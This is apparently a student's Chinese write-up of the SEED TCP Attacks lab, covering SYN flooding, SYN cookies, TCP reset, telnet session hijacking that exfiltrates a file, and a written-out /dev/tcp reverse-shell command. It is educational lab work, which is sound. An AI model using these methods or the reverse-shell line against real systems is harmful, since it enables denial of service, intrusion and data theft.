这个实验旨在让学生通过实际操作来了解软件漏洞以及针对这些漏洞的攻击方式。通过研究过去的安全漏洞,学生可以深入了解系统为何会存在漏洞,以及看似微小的错误为何可能引发严重后果。这种学习能帮助他们认识到常见漏洞模式,以便今后避免类似的错误。
利用TCP/IP协议中的漏洞作为案例研究,学生可以学习安全设计、安全编程和安全测试的原则。特别是,TCP协议中的漏洞展示了为何安全性应该从一开始就考虑,而不是事后添加的重要性。
实验内容涵盖TCP协议的基础知识、各种攻击方式(如SYN洪水攻击、重置攻击、会话劫持攻击等),以及反向Shell等内容。通过这些实验,学生将了解网络安全的挑战,并学会为确保系统安全所需的各种网络安全措施。
Overview
The learning objective of this lab is for students to gain first-hand experience on vulnerabilities, as well as on attacks against these vulnerabilities. Wise people learn from mistakes. In security education, we study mistakes that lead to software vulnerabilities. Studying mistakes from the past not only help students understand why systems are vulnerable, why a seemly-benign mistake can turn into a disaster, and why many security mechanisms are needed. More importantly, it also helps students learn the common patterns of vulnerabilities, so they can avoid making similar mistakes in the future. Moreover, using vulnerabilities as case studies, students can learn the principles of secure design, secure programming, and security testing.
The vulnerabilities in the TCP/IP protocols represent a special genre of vulnerabilities in protocol designs and implementations; they provide an invaluable lesson as to why security should be designed in from the beginning, rather than being added as an afterthought. Moreover, studying these vulnerabilities help students understand the challenges of network security and why many network security measures are needed.
In this lab, students will conduct several attacks on TCP. This lab covers the following topics:• The TCP protocol
• TCP SYN flood attack, and SYN cookies
• TCP reset attack
• TCP session hijacking attack
• Reverse shell
• A special type of TCP attack, the Mitnick attack, is covered in a separate lab.
实验资料:https://seedsecuritylabs.org/Labs_20.04/Networking/TCP_Attacks/
SYN攻击(SYN Flood Attack)是一种利用TCP协议漏洞的网络攻击方式,旨在消耗目标系统的资源,导致服务不可用。攻击者发送大量伪造的TCP连接请求(称为SYN包),但不完成握手过程,也不响应服务器的确认请求,从而使得服务器在等待确认时耗尽资源,无法处理合法请求。
攻击者发送的大量恶意的SYN请求会导致服务器的半连接队列(半连接,完成了SYN、SYN-ACK的但是没有进行ACK back的TCP连接)溢出,因为服务器会为每个收到的SYN请求保留一定的资源直到完成连接或超时。一旦服务器的半连接队列被填满,合法用户的连接请求将无法得到响应,导致拒绝服务(DoS)状态,使得服务器无法提供正常服务。
在 Linux 系统中,可以通过修/proc/sys/net/ipv-/tcp_max_syn_backlog 或者使用 sysctl 命令来设置TCP连接的最大半连接数。
还可以使用netstat -nat命令来查看队列的适用情况。半连接的状态为SYN-RECV,而成功完成三次握手的连接的状态为ESTABLEISHED。
为了防范SYN攻击,一种常见的方法是使用SYN cookies。SYN cookies允许服务器在没有建立完整连接时,不必维护连接状态,从而减轻了服务器负担,防止了资源耗尽。
使用python语言实现SYN Flooding攻击。并尝试使用另一台container通过telnet连接victim container,查看是否能够连接成功。如果失败了,请思考失败的原因。
实验步骤:
编写synflood.py程序。
运行py程序,同时查看10.0.2.6的网络连接状态。
从上图中已经可以看到,在Victim中,已经有很多状态为SYN_RECV的TCP连接了,表明SYN攻击已经奏效。
但是我们通过netstat -nat | grep SYN_RECV | wc -l命令查看当前半连接的数量,发现其数量稳定在120多,最大也只是达到了128而已。小于系统设置的tcp半连接队列的容量192=256*(3/4),所以此时victim还是可以与其他用于进行正常的tcp连接的。
使用user1 container仍然可以成功连接到victim container。不过比起没有SYN flood攻击的时候,连接会慢一点。
所以,这样虽然SYN Flooding攻击表面上成功了,但是并没有达到我们预想的效果:使得victim的TCP连接拒绝服务。
解决办法:
net.ipv4.tcp_synack_retries默认值为5,即victim发送SYN+ACK数据包后,将等待ACK数据包,如果它没有及时到达,那么TCP将重新发送5次SYN+ACK数据包,如果这5次重发之后都没有回应,那么操作系统就会把这个TCP半连接从半连接队列里面剔除
每当一个TCP半连接被剔除,就有一个位置空了出来,用于攻击的SYN数据包就会和合法的telnet数据包竞争。python数据包如果不够快(发送的频率没有telnet数据包高),那么telnet数据包就会赢得此空位,成功建立TCP连接。
那么,可以通过并行py程序,使得有空位的时候,存在多个SYN数据包与合法的telnet数据包竞争,那么telnet数据包竞争成功的可能性就会减小,成功建立TCP连接的可能性就会减小。
于是,我尝试开了5个终端同时运行py程序。
这时,使用user1 container对victim进行telnet连接的等待时间就很长了,但是还是可以成功,应该是在和很多SYN数据包“抢”空位,当并行运行6个py程序的时候,成功率就比较低了。并行运行的py程序越多,排队抢“空位”的SYN数据包也就更多,合法用户建立tcp连接的成功率就越低。
Q:但是,为什么状态为SYN_RECV的连接数量只停留在128呢???
按理说应该达到队列容量的四分之三才对……但是5个py程序并行运行确实使得数量稳定在128了,只运行1个py程序的时候,这个数量不稳定,经常达不到128。
A:起初,我猜测可能是系统可以迅速地处理连接请求。所以我将net.ipv4.tcp_synack_retries
的值增大,即减少系统处理半连接的速度,但是状态为SYN_RECV的连接数量仍然稳定保持在128。当我将net.ipv4.tcp_synack_retries
值设为0时,状态为SYN_RECV的连接数量就开始波动了,所以应该不是net.ipv4.tcp_synack_retries
值的问题。
可能是系统的资源限制使得只能处理128个半连接吧……
net.ipv4.tcp_max_syn_backlog
的值队列中可以存储多少个半连接会影响攻击的成功率。通过以下命令将设置半开放连接队列的容量改为80。
虽然队列的容量为80,但是有四分之一的空间是用于proven destinations的连接(当SYN Cookies被关闭的情况下),所以实际的容量只有60。
在user1 container中无法通过telnet连接到victim。
注意:如果禁用了SYN Cookies,TCP会为“已验证的目标”保留四分之一的后备队列。确保对于已经建立连接的目标,系统有足够的资源来处理它们的连接请求,而不会因为队列满了而拒绝连接。所以,在每次尝试连接victim的之前,都需要执行ip tcp_metrics flush命令清空TCP连接信息。
使用py程序发送数据包的速度很慢,这导致了SYN数据包很难能够竞争过telnet发送的数据包,所以即使py程序成功执行了SYN flooding,有时也无法达到想要的效果。
但是通过C代码发送数据包的速度(效率)要比通过py发送快得多。这样一来,SYN数据包与telent数据包的竞争,telnet就很难取胜,使得合法的telnet连接超时。
实验步骤:
编译volume文件夹中的代码并运行。
然后在victim container中查看半连接数量。
发现,只需要一个c程序就可以使得半连接数量稳定在128(系统资源能够处理的最大值),应该是因为c程序发送的数据包的效率很高,两个数据包之间的时间间隔很小,即使操作系统处理处理完某一个半连接,新的SYN数据包马上就补上了空位,而py程序发送的数据包效率比较低,所以导致有时空位补不上的情况,进而半连接数量不稳定,无法达到拒绝服务的效果。
这时,使用user1 container对victim进行telnet连接,需要等待很长的时间,很容易出现超时的情况,无法成功建立TCP连接。
启用SYN cookies方法,重新运行攻击程序,比较两者的结果。
实验步骤:
启用SYN cookies。
启动攻击程序,同时查看victim的半连接数。
虽然backlog的值为80,但是状态为SYN_RECV的半连接数量仍然是128,但是,在清理了TCP历史连接记录后,使用user1 container对attacker container进行telnet连接的时候,发现连接的速度很快。
分析:
SYN Cookie的工作原理如下:
服务器不立即分配资源: 当服务器接收到客户端的 SYN 请求时,不立即分配实际的资源,如套接字、内存和处理线程/进程。
生成 SYN Cookies: 服务器使用一种特殊的算法(通常是哈希函数)生成一个 SYN Cookie,将这个 Cookie 包含在 SYN-ACK 响应中发送给客户端。
客户端 ACK: 客户端在后续的 ACK 中将 SYN Cookie 返回给服务器。
验证 SYN Cookie: 服务器在收到客户端的 ACK 时,验证 SYN Cookie 的有效性。如果验证通过,服务器就知道这是一个合法的连接请求。
分配资源: 验证通过后,服务器根据 SYN 请求中包含的信息分配实际的资源,完成连接的建立。
通过这种方式,服务器在接收到 SYN 请求时不立即分配资源,而是在后续的验证阶段才进行实际的资源分配。这使得服务器能够更好地应对大量的 SYN 请求,即使半连接队列已满。这样来说,半连接队列的传统作用变得相对较小了。
所以,只有当cookie验证通过,victim才会为连接分配资源,传统的SYN Flooding攻击就无法生效了。
RST报文可以使得已经建立的TCP连接终止,所以可以通过TCP RST攻击的方法恶意终止两个合法用户的TCP连接。
在本次task中,我们需要发起TCP RST攻击,使得A和B的telnet连接中断。(为了简化实验,假设攻击者和受害者在同一LAN下,可以监控A和B的所有TCP消息。)
实验步骤:
使用Scapy库编写可以自动发送TCP RST的py代码。
实现了sniffing-and-then-spoofing的功能,监听与victim(ip=10.9.0.5)发出的TCP数据包,如果存在,就发送虚假的目的地址为victim的RST数据包,关闭TCP连接。
运行代码,同时使用user1 container连接attacker container测试。
无法连接成功,因为sniffing-and-then-spoofing程序监听到tcp消息之后,将连接终止了。
现在在victim container中尝试curl www.baidu.com
也无法成功返回数据了,提示连接被reset了。
分析:
原理很简单,就是在监听到TCP数据包的时候,伪造其中一方向另一方发送RST报文即可。
但是在实验中发现一个现象,在victim中多次执行curl www.baidu.com,有时候会提示connection被reset了,但有时候会正常返回网页的内容。
curl失败时候的数据包情况:
curl成功时候的数据包情况:
可见,在curl成功的时候,伪造的RST数据包接收得比较晚,这使得victim在关闭TCP连接前收到了http消息。如果伪造的RST数据包发送的速度足够快,那么curl成功的概率就会降低。
TCP会话劫持是一种攻击,攻击者利用网络上两个通信主机之间已建立的TCP连接,未经授权地接管这个连接。攻击者能够查看、修改或者发送伪造的数据,仿佛是其中一个通信方。
如果被劫持的是telnet会话,攻击者可以通过向会话中注入恶意内容使得受害者执行恶意指令。
在本次的task中,我们需要劫持两个主机之间的telnet会话,使得telnet服务端执行恶意指令。(为了简化本次任务,假设攻击者和受害者在同一LAN下,使得攻击者可以监控受害者的所有流量。)
实验步骤:
编写hijack.py文件,插入恶意的命令,查看telnet服务端的secret.txt文件内容,并将内容发送至10.9.0.1主机。
模拟两个受害者进行telnet通信的过程,多次刷新wireshark抓包界面,抓取最新的pwd命令的的数据包。
接下来根据抓取到的数据包构造hijack数据包。
在10.9.0.1主机的12345端口开启监听,在telnet服务端创建secret.txt文件后,运行hijack.py程序。
如上图,我们可以在wireshark中看到hijack数据包发送出去后,服务端向10.9.0.1主机的12345端口发送了secret.txt文件的内容。当然,也可以在监听界面看到。
分析:
攻击者要实现TCP会话劫持,有以下两个必要条件:
因为要通过嗅探获得数据包的IP地址端口号,和伪造数据包必须需要的seq和ack的值。
本次实验能够成功,主要是通信双方采用的是telnet进行通信,这是一个明文传输的协议,所以攻击者可以随意将TCP数据包中payload的值修改为恶意的值。如果通信双方采用ssh进行通信,那么攻击者很难执行恶意指令,但是仍可以执行TCP RST攻击,但是后果较前者小得多。
本次task的原理就是,监听A与B的TCP连接(长连接),根据A与B的TCP数据包中的信息(IP,Port,seq,ack)生成伪造的恶意的数据包,使得此数据包像是A与B中的某一方发出的,可以被另一方认可并接受。
附:使用Scapy的sniff函数,实现一个自动嗅探并且发动TCP会话劫持攻击的程序。
代码如下:
效果:
监听处也受到了hello的消息。
值得注意的是,telnet默认选择将输入一个字节一个字节地传输,所以开启嗅探程序后,输入第一个字母p之后,客户端就会发送一个tcp包,嗅探程序捕捉到这个包后就会紧接着发送spoofing数据包,所以此时客户端会由于seq失序而卡住(TCP通信原理)。
一号数据包和二号数据包len=1,仅包含p字母(开启嗅探程序后,客户端输入命令的第一个字母)。
当攻击者可以通过TCP会话劫持注入恶意指令的时候,他们通常都不满足于仅仅执行一个指令,通常,攻击者会通过设置一个后门来实现持续控制受害者机器。
一个设置后门的常见的方法就是在受害者机器上设置一个反向shell。
本次task的目的就是通过TCP会话劫持,在受害者机器上创建一个反向shell。
实验步骤:
将auto_hijack.py中注入代码改为创建反向shell的代码。
使用user1 container(10.9.0.6)向victim container(10.9.0.5)发送telnet数据包。
再次查看监听端口,发现已经连接到反向shell了。
分析:
原理同TCP会话劫持,只是将注入的命令改为创建反向shell的命令。
值得注意的是创建反向shell的命令:
-i 表示interacitve,可互动的shell。(必须提供一个shell窗口)
文件描述符0、1、2分别代表标准输入、标准输出、标准错误。
**<** 表示重定向输出,例如,command > file.txt 将命令 command 的输出写入到 file.txt 文件中。
< 表示重定向输入。例如,command < file.txt 将文件 file.txt 的内容作为 command 命令的输入。
& 在这里的含义是表示文件描述符。
对于 /bin/bash -i > /dev/tcp/10.9.0.1/12345 0<&1 2>&1 这样的命令,/bin/bash -i 是要执行的命令,> /dev/tcp/10.9.0.1/12345 是将命令的标准输出重定向到指定的 TCP 连接。